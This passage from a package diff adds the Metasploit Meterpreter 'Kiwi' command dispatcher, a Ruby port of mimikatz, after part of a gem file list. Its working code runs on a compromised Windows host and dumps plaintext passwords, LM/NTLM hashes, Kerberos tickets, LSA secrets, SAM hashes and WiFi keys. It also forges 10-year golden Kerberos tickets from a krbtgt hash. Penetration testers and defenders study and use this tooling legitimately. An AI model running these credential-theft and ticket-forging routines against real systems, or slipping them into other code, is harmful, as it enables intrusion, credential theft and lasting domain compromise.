  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,509 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+
9
+ ###
10
+ #
11
+ # Kiwi extension - grabs credentials from windows memory.
12
+ #
13
+ # Benjamin DELPY `gentilkiwi`
14
+ # http://blog.gentilkiwi.com/mimikatz
15
+ #
16
+ # extension converted by OJ Reeves (TheColonial)
17
+ #
18
+ ###
19
+ class Console::CommandDispatcher::Kiwi
20
+
21
+ Klass = Console::CommandDispatcher::Kiwi
22
+
23
+ include Console::CommandDispatcher
24
+
25
+ #
26
+ # Name for this dispatcher
27
+ #
28
+ def name
29
+ "Kiwi"
30
+ end
31
+
32
+ #
33
+ # Initializes an instance of the priv command interaction. This function
34
+ # also outputs a banner which gives proper acknowledgement to the original
35
+ # author of the Mimikatz 2.0 software.
36
+ #
37
+ def initialize(shell)
38
+ super
39
+ print_line
40
+ print_line
41
+ print_line(" .#####. mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
42
+ print_line(" .## ^ ##.")
43
+ print_line(" ## / \\ ## /* * *")
44
+ print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
45
+ print_line(" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)")
46
+ print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
47
+ print_line
48
+
49
+ if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
50
+
51
+ print_line
52
+ print_warning "Loaded x86 Kiwi on an x64 architecture."
53
+ end
54
+ end
55
+
56
+ #
57
+ # List of supported commands.
58
+ #
59
+ def commands
60
+ {
61
+ "creds_wdigest" => "Retrieve WDigest creds",
62
+ "creds_msv" => "Retrieve LM/NTLM creds (hashes)",
63
+ "creds_livessp" => "Retrieve LiveSSP creds",
64
+ "creds_ssp" => "Retrieve SSP creds",
65
+ "creds_tspkg" => "Retrieve TsPkg creds",
66
+ "creds_kerberos" => "Retrieve Kerberos creds",
67
+ "creds_all" => "Retrieve all credentials",
68
+ "golden_ticket_create" => "Create a golden kerberos ticket",
69
+ "kerberos_ticket_use" => "Use a kerberos ticket",
70
+ "kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
71
+ "kerberos_ticket_list" => "List all kerberos tickets",
72
+ "lsa_dump" => "Dump LSA secrets",
73
+ "wifi_list" => "List wifi profiles/creds"
74
+ }
75
+ end
76
+
77
+ #
78
+ # Invoke the LSA secret dump on thet target.
79
+ #
80
+ def cmd_lsa_dump(*args)
81
+ check_privs
82
+
83
+ print_status("Dumping LSA secrets")
84
+ lsa = client.kiwi.lsa_dump
85
+
86
+ # the format of this data doesn't really lend itself nicely to
87
+ # use within a table so instead we'll dump in a linear fashion
88
+
89
+ print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
90
+ print_line("Domain/Computer : #{lsa[:compname]}") if lsa[:compname]
91
+ print_line("System Key : #{to_hex(lsa[:syskey])}")
92
+ print_line("NT5 Key : #{to_hex(lsa[:nt5key])}")
93
+ print_line
94
+ print_line("NT6 Key Count : #{lsa[:nt6keys].length}")
95
+
96
+ if lsa[:nt6keys].length > 0
97
+ lsa[:nt6keys].to_enum.with_index(1) do |k, i|
98
+ print_line
99
+ index = i.to_s.rjust(2, ' ')
100
+ print_line("#{index}. ID : #{Rex::Text::to_guid(k[:id])}")
101
+ print_line("#{index}. Value : #{to_hex(k[:value])}")
102
+ end
103
+ end
104
+
105
+ print_line
106
+ print_line("Secret Count : #{lsa[:secrets].length}")
107
+ if lsa[:secrets].length > 0
108
+ lsa[:secrets].to_enum.with_index(1) do |s, i|
109
+ print_line
110
+ index = i.to_s.rjust(2, ' ')
111
+ print_line("#{index}. Name : #{s[:name]}")
112
+ print_line("#{index}. Service : #{s[:service]}") if s[:service]
113
+ print_line("#{index}. NTLM : #{to_hex(s[:ntlm])}") if s[:ntlm]
114
+ if s[:current] || s[:current_raw]
115
+ current = s[:current] || to_hex(s[:current_raw], ' ')
116
+ print_line("#{index}. Current : #{current}")
117
+ end
118
+ if s[:old] || s[:old_raw]
119
+ old = s[:old] || to_hex(s[:old_raw], ' ')
120
+ print_line("#{index}. Old : #{old}")
121
+ end
122
+ end
123
+ end
124
+
125
+ print_line
126
+ print_line("SAM Key Count : #{lsa[:samkeys].length}")
127
+ if lsa[:samkeys].length > 0
128
+ lsa[:samkeys].to_enum.with_index(1) do |s, i|
129
+ print_line
130
+ index = i.to_s.rjust(2, ' ')
131
+ print_line("#{index}. RID : #{s[:rid]}")
132
+ print_line("#{index}. User : #{s[:user]}")
133
+ print_line("#{index}. LM Hash : #{to_hex(s[:lm_hash])}")
134
+ print_line("#{index}. NTLM Hash : #{to_hex(s[:ntlm_hash])}")
135
+ end
136
+ end
137
+
138
+ print_line
139
+ end
140
+
141
+ #
142
+ # Valid options for the golden ticket creation functionality.
143
+ #
144
+ @@golden_ticket_create_opts = Rex::Parser::Arguments.new(
145
+ "-h" => [ false, "Help banner" ],
146
+ "-u" => [ true, "Name of the user to create the ticket for" ],
147
+ "-i" => [ true, "ID of the user to associate the ticket with" ],
148
+ "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ],
149
+ "-d" => [ true, "Name of the target domain (FQDN)" ],
150
+ "-k" => [ true, "krbtgt domain user NTLM hash" ],
151
+ "-t" => [ true, "Local path of the file to store the ticket in" ],
152
+ "-s" => [ true, "SID of the domain" ]
153
+ )
154
+
155
+ #
156
+ # Output the usage for the ticket listing functionality.
157
+ #
158
+ def golden_ticket_create_usage
159
+ print(
160
+ "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
161
+ "Create a golden kerberos ticket that expires in 10 years time.\n\n" +
162
+ @@golden_ticket_create_opts.usage)
163
+ end
164
+
165
+ #
166
+ # Invoke the golden kerberos ticket creation functionality on the target.
167
+ #
168
+ def cmd_golden_ticket_create(*args)
169
+ if args.include?("-h")
170
+ golden_ticket_create_usage
171
+ return
172
+ end
173
+
174
+ user = nil
175
+ domain = nil
176
+ sid = nil
177
+ tgt = nil
178
+ target = nil
179
+ id = 0
180
+ group_ids = []
181
+
182
+ @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
183
+ case opt
184
+ when "-u"
185
+ user = val
186
+ when "-d"
187
+ domain = val
188
+ when "-k"
189
+ tgt = val
190
+ when "-t"
191
+ target = val
192
+ when "-i"
193
+ id = val.to_i
194
+ when "-g"
195
+ group_ids = val.split(',').map { |g| g.to_i }.to_a
196
+ when "-s"
197
+ sid = val
198
+ end
199
+ }
200
+
201
+ # all parameters are required
202
+ unless user && domain && sid && tgt && target
203
+ golden_ticket_create_usage
204
+ return
205
+ end
206
+
207
+ ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
208
+
209
+ ::File.open( target, 'wb' ) do |f|
210
+ f.write ticket
211
+ end
212
+
213
+ print_good("Golden Kerberos ticket written to #{target}")
214
+ end
215
+
216
+ #
217
+ # Valid options for the ticket listing functionality.
218
+ #
219
+ @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
220
+ "-h" => [ false, "Help banner" ],
221
+ "-e" => [ false, "Export Kerberos tickets to disk" ],
222
+ "-p" => [ true, "Path to export Kerberos tickets to" ]
223
+ )
224
+
225
+ #
226
+ # Output the usage for the ticket listing functionality.
227
+ #
228
+ def kerberos_ticket_list_usage
229
+ print(
230
+ "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
231
+ "List all the available Kerberos tickets.\n\n" +
232
+ @@kerberos_ticket_list_opts.usage)
233
+ end
234
+
235
+ #
236
+ # Invoke the kerberos ticket listing functionality on the target machine.
237
+ #
238
+ def cmd_kerberos_ticket_list(*args)
239
+ if args.include?("-h")
240
+ kerberos_ticket_list_usage
241
+ return
242
+ end
243
+
244
+ # default to not exporting
245
+ export = false
246
+ # default to the current folder for dumping tickets
247
+ export_path = "."
248
+
249
+ @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
250
+ case opt
251
+ when "-e"
252
+ export = true
253
+ when "-p"
254
+ export_path = val
255
+ end
256
+ }
257
+
258
+ tickets = client.kiwi.kerberos_ticket_list(export)
259
+
260
+ fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
261
+ fields << 'Export Path' if export
262
+
263
+ table = Rex::Ui::Text::Table.new(
264
+ 'Header' => "Kerberos Tickets",
265
+ 'Indent' => 0,
266
+ 'SortIndex' => 0,
267
+ 'Columns' => fields
268
+ )
269
+
270
+ tickets.each do |t|
271
+ flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
272
+ values = [
273
+ "#{t[:server]} @ #{t[:server_realm]}",
274
+ "#{t[:client]} @ #{t[:client_realm]}",
275
+ t[:start],
276
+ t[:end],
277
+ t[:max_renew],
278
+ "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
279
+ ]
280
+
281
+ # write out each ticket to disk if export is enabled.
282
+ if export
283
+ path = "<no data retrieved>"
284
+ if t[:raw]
285
+ id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
286
+ file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
287
+ path = ::File.expand_path(File.join(export_path, file))
288
+ ::File.open(path, 'wb') do |x|
289
+ x.write t[:raw]
290
+ end
291
+ end
292
+ values << path
293
+ end
294
+
295
+ table << values
296
+ end
297
+
298
+ print_line
299
+ print_line(table.to_s)
300
+ print_line("Total Tickets : #{tickets.length}")
301
+ end
302
+
303
+ #
304
+ # Invoke the kerberos ticket purging functionality on the target machine.
305
+ #
306
+ def cmd_kerberos_ticket_purge(*args)
307
+ client.kiwi.kerberos_ticket_purge
308
+ print_good("Kerberos tickets purged")
309
+ end
310
+
311
+ #
312
+ # Use a locally stored Kerberos ticket in the current session.
313
+ #
314
+ def cmd_kerberos_ticket_use(*args)
315
+ if args.length != 1
316
+ print_line("Usage: kerberos_ticket_use ticketpath")
317
+ return
318
+ end
319
+
320
+ target = args[0]
321
+ ticket = ''
322
+ ::File.open(target, 'rb') do |f|
323
+ ticket += f.read(f.stat.size)
324
+ end
325
+
326
+ print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
327
+ client.kiwi.kerberos_ticket_use(ticket)
328
+ print_good("Kerberos ticket applied successfully")
329
+ end
330
+
331
+ def wifi_list_usage
332
+ print(
333
+ "\nUsage: wifi_list\n\n" +
334
+ "List WiFi interfaces, profiles and passwords.\n\n")
335
+ end
336
+
337
+ #
338
+ # Dump all the wifi profiles/credentials
339
+ #
340
+ def cmd_wifi_list(*args)
341
+ # if any arguments are specified, then fire up a usage message
342
+ if args.length > 0
343
+ wifi_list_usage
344
+ return
345
+ end
346
+
347
+ results = client.kiwi.wifi_list
348
+
349
+ if results.length > 0
350
+ results.each do |r|
351
+ table = Rex::Ui::Text::Table.new(
352
+ 'Header' => "#{r[:desc]} - #{r[:guid]}",
353
+ 'Indent' => 0,
354
+ 'SortIndex' => 0,
355
+ 'Columns' => [
356
+ 'Name', 'Auth', 'Type', 'Shared Key'
357
+ ]
358
+ )
359
+
360
+ print_line
361
+ r[:profiles].each do |p|
362
+ table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
363
+ end
364
+
365
+ print_line table.to_s
366
+ print_line "State: #{r[:state]}"
367
+ end
368
+ else
369
+ print_line
370
+ print_error("No wireless profiles found on the target.")
371
+ end
372
+
373
+ print_line
374
+ return true
375
+ end
376
+
377
+ #
378
+ # Dump all the possible credentials to screen.
379
+ #
380
+ def cmd_creds_all(*args)
381
+ method = Proc.new { client.kiwi.all_pass }
382
+ scrape_passwords("all", method)
383
+ end
384
+
385
+ #
386
+ # Dump all wdigest credentials to screen.
387
+ #
388
+ def cmd_creds_wdigest(*args)
389
+ method = Proc.new { client.kiwi.wdigest }
390
+ scrape_passwords("wdigest", method)
391
+ end
392
+
393
+ #
394
+ # Dump all msv credentials to screen.
395
+ #
396
+ def cmd_creds_msv(*args)
397
+ method = Proc.new { client.kiwi.msv }
398
+ scrape_passwords("msv", method)
399
+ end
400
+
401
+ #
402
+ # Dump all LiveSSP credentials to screen.
403
+ #
404
+ def cmd_creds_livessp(*args)
405
+ method = Proc.new { client.kiwi.livessp }
406
+ scrape_passwords("livessp", method)
407
+ end
408
+
409
+ #
410
+ # Dump all SSP credentials to screen.
411
+ #
412
+ def cmd_creds_ssp(*args)
413
+ method = Proc.new { client.kiwi.ssp }
414
+ scrape_passwords("ssp", method)
415
+ end
416
+
417
+ #
418
+ # Dump all TSPKG credentials to screen.
419
+ #
420
+ def cmd_creds_tspkg(*args)
421
+ method = Proc.new { client.kiwi.tspkg }
422
+ scrape_passwords("tspkg", method)
423
+ end
424
+
425
+ #
426
+ # Dump all Kerberos credentials to screen.
427
+ #
428
+ def cmd_creds_kerberos(*args)
429
+ method = Proc.new { client.kiwi.kerberos }
430
+ scrape_passwords("kerberos", method)
431
+ end
432
+
433
+ protected
434
+
435
+ def check_privs
436
+ if system_check
437
+ print_good("Running as SYSTEM")
438
+ else
439
+ print_warning("Not running as SYSTEM, execution may fail")
440
+ end
441
+ end
442
+
443
+ def system_check
444
+ unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
445
+ print_warning("Not currently running as SYSTEM")
446
+ return false
447
+ end
448
+
449
+ return true
450
+ end
451
+
452
+ #
453
+ # Invoke the password scraping routine on the target.
454
+ #
455
+ # @param provider [String] The name of the type of credentials to dump
456
+ # (used for display purposes only).
457
+ # @param method [Proc] Block that calls the method that invokes the
458
+ # appropriate function on the client that returns the results from
459
+ # Meterpreter that lay in the house that Jack built.
460
+ #
461
+ # @return [void]
462
+ def scrape_passwords(provider, method)
463
+ check_privs
464
+ print_status("Retrieving #{provider} credentials")
465
+ accounts = method.call
466
+
467
+ table = Rex::Ui::Text::Table.new(
468
+ 'Header' => "#{provider} credentials",
469
+ 'Indent' => 0,
470
+ 'SortIndex' => 0,
471
+ 'Columns' =>
472
+ [
473
+ 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
474
+ ]
475
+ )
476
+
477
+ accounts.each do |acc|
478
+ table << [
479
+ acc[:domain] || "",
480
+ acc[:username] || "",
481
+ acc[:password] || "",
482
+ "#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
483
+ to_hex(acc[:lm] || ""),
484
+ to_hex(acc[:ntlm] || "")
485
+ ]
486
+ end
487
+
488
+ print_line table.to_s
489
+ return true
490
+ end
491
+
492
+ #
493
+ # Helper function to convert a potentially blank value to hex and have
494
+ # the outer spaces stripped
495
+ #
496
+ # @param (see Rex::Text.to_hex)
497
+ # @return [String] The result of {Rex::Text.to_hex}, strip'd
498
+ def to_hex(value, sep = '')
499
+ value ||= ""
500
+ Rex::Text.to_hex(value, sep).strip
501
+ end
502
+
503
+ end
504
+
505
+ end
506
+ end
507
+ end
508
+ end
509
+